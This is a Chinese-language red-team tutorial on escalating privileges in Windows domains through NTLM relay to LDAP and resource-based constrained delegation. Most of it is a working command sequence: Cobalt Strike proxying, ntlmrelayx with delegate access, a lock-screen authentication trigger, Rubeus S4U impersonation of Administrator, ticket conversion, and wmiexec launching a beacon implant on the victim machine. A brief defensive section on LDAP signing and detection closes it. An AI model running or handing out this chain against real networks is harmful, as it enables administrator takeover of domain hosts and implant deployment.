红队权限提升-基于RBCD的权限提升-第2部分
字数 1739 2025-08-24 10:10:13
基于RBCD的权限提升攻击技术详解
概述
本文详细介绍了在Windows域环境中利用基于资源的约束委派(RBCD)进行本地权限提升的技术。这种攻击方法特别适用于红队行动中提升员工工作站权限的场景。虽然已有相关技术文档,但许多操作员在实际利用时仍面临困难,特别是在纯Cobalt Strike环境下操作Kerberos协议的复杂性。本文将全面解析攻击原理、操作步骤和常见问题。
攻击原理
技术背景
- NTLM中继攻击:从非特权用户上下文诱导本地服务(以NT AUTHORITY\SYSTEM运行)使用主机计算机账户密码通过HTTP向攻击者服务进行NTLM认证
- 基于资源的约束委派(RBCD):攻击者将认证尝试中继到LDAP服务,配置RBCD以允许攻击者控制的用户/计算机账户模拟任何用户访问受害计算机
关键原语
- 计算机账户HTTP NTLM认证:通过利用自定义Windows锁屏能力获得
- Change-LockScreen工具:通过Cobalt Strike的beacon触发原语,无需RDP或控制台手动交互
先决条件
- 运行Windows Server 2012或更新版本的域控制器
- 攻击者能访问已设置SPN的用户/计算机账户,或能向域中添加新计算机
- 域控制器未配置强制LDAP签名和LDAP信道绑定(默认设置)
- 受害计算机安装并运行"Web客户端"服务(Windows 10默认安装)
- 用户被允许自定义Windows锁屏(默认权限)
攻击步骤详解
1. 环境准备
SOCKS代理配置:
- 在Cobalt Strike中启用SOCKS代理(如端口8889)
- 团队服务器安装依赖:proxychains、Python 3、Impacket
- 配置proxychains.conf使用SOCKS端口
检查域设置:
execute-assembly /path/to/SharpView.exe Get-DomainObject -Domain CONTOSO.LOCAL
检查ms-ds-machineaccountquota属性值(默认允许用户添加最多10台计算机)
检查WebClient服务状态:
sc query webclient
2. 创建攻击用计算机账户
execute-assembly /path/to/StandIn.exe --computer DESKTOP-JSMITH --make
若无法创建新计算机账户,可尝试:
- Kerberoasting攻击获取有SPN的用户凭证
- 在当前用户账户上设置SPN(需管理员修改默认权限)
3. LDAP中继攻击
sudo proxychains python3 examples/ntlmrelayx.py -t ldap://<DC_IP> --http-port 8080 --delegate-access --serve-image wallpaper.jpg --escalate-user 'DESKTOP-JSMITH$' --no-dump --no-da --no-acl
参数说明:
--http-port 8080:监听端口--serve-image:锁屏图像路径--escalate-user:允许指定账户执行RBCD
设置端口转发:
rportfwd 80 127.0.0.1 8080
触发认证:
execute-assembly /path/to/Change-Lockscreen.exe -FullPath \\localhost\pictures\wallpaper.jpg
4. 生成AES256密钥
execute-assembly /path/to/Rubeus.exe hash /password:<密码> /user:DESKTOP-JSMITH$ /domain:CONTOSO.LOCAL
5. S4U模拟攻击
execute-assembly /path/to/Rubeus.exe s4u /user:DESKTOP-JSMITH$/aes256:<AES密钥> /impersonateuser:Administrator /msdsspn:host/DESKTOP-KOERA35.CONTOSO.LOCAL /nowrap
6. 票据转换
- 将Rubeus输出的base64票据保存为.kirbi.base64文件
- 解码为.kirbi格式:
cat administrator.kirbi.base64 | base64 --decode > administrator.kirbi
- 转换为ccache格式:
python3 examples/ticketConverter.py administrator.kirbi administrator.ccache
7. 修改proxyresolv配置
修改/usr/lib/proxychains3/proxyresolv:
- 设置
DNS_SERVER=<DC_IP> - 修改dig命令过滤输出:
dig $1 @$DNS_SERVER +tcp | awk '/A.+[0-9]+\.[0-9]+\.[0-9]/{print $5;}' | grep -v '<<>>'
8. 利用票据执行攻击
export KRB5CCNAME=administrator.ccache
proxychains python3 examples/wmiexec.py -k -no-pass contoso.local/Administrator@DESKTOP-KOERA35.CONTOSO.LOCAL 'C:\ProgramData\beacon.exe'
9. 清理
socks stop
rportfwd stop 80
常见错误及解决
-
指定IP而非SPN:
- 错误:使用IP地址(192.168.184.144)而非完整主机名
- 正确:使用SPN中指定的完整主机名(DESKTOP-KOERA35.CONTOSO.LOCAL)
-
本地票据传递无效:
- 现象:从同一主机使用WMI执行beacon不会触发完整网络登录
- 解决:必须通过SOCKS将Impacket代理到主机执行网络登录
防御措施
-
临时缓解:
- 禁用
msDS-AllowedToActOnBehalfOfOtherIdentity字段的写访问
- 禁用
-
长期修复:
- 强制LDAP签名和LDAP通道绑定
-
检测措施:
- 监控对
msDS-AllowedToActOnBehalfOfOtherIdentity的写入 - 启用审核设置检测未使用LDAP签名/通道绑定的系统(事件ID 2889和3039)
- 监控对
-
SACL配置:
- 检测对RBCD属性的修改,特别是工作站计算机账户
结论
RBCD结合适当的认证原语可实现本地特权提升和潜在远程代码执行。本文详细介绍了纯Cobalt Strike环境下的操作流程,解决了红队行动中的常见操作难题。防御者应关注LDAP中继攻击的通用防护和RBCD的特定检测措施。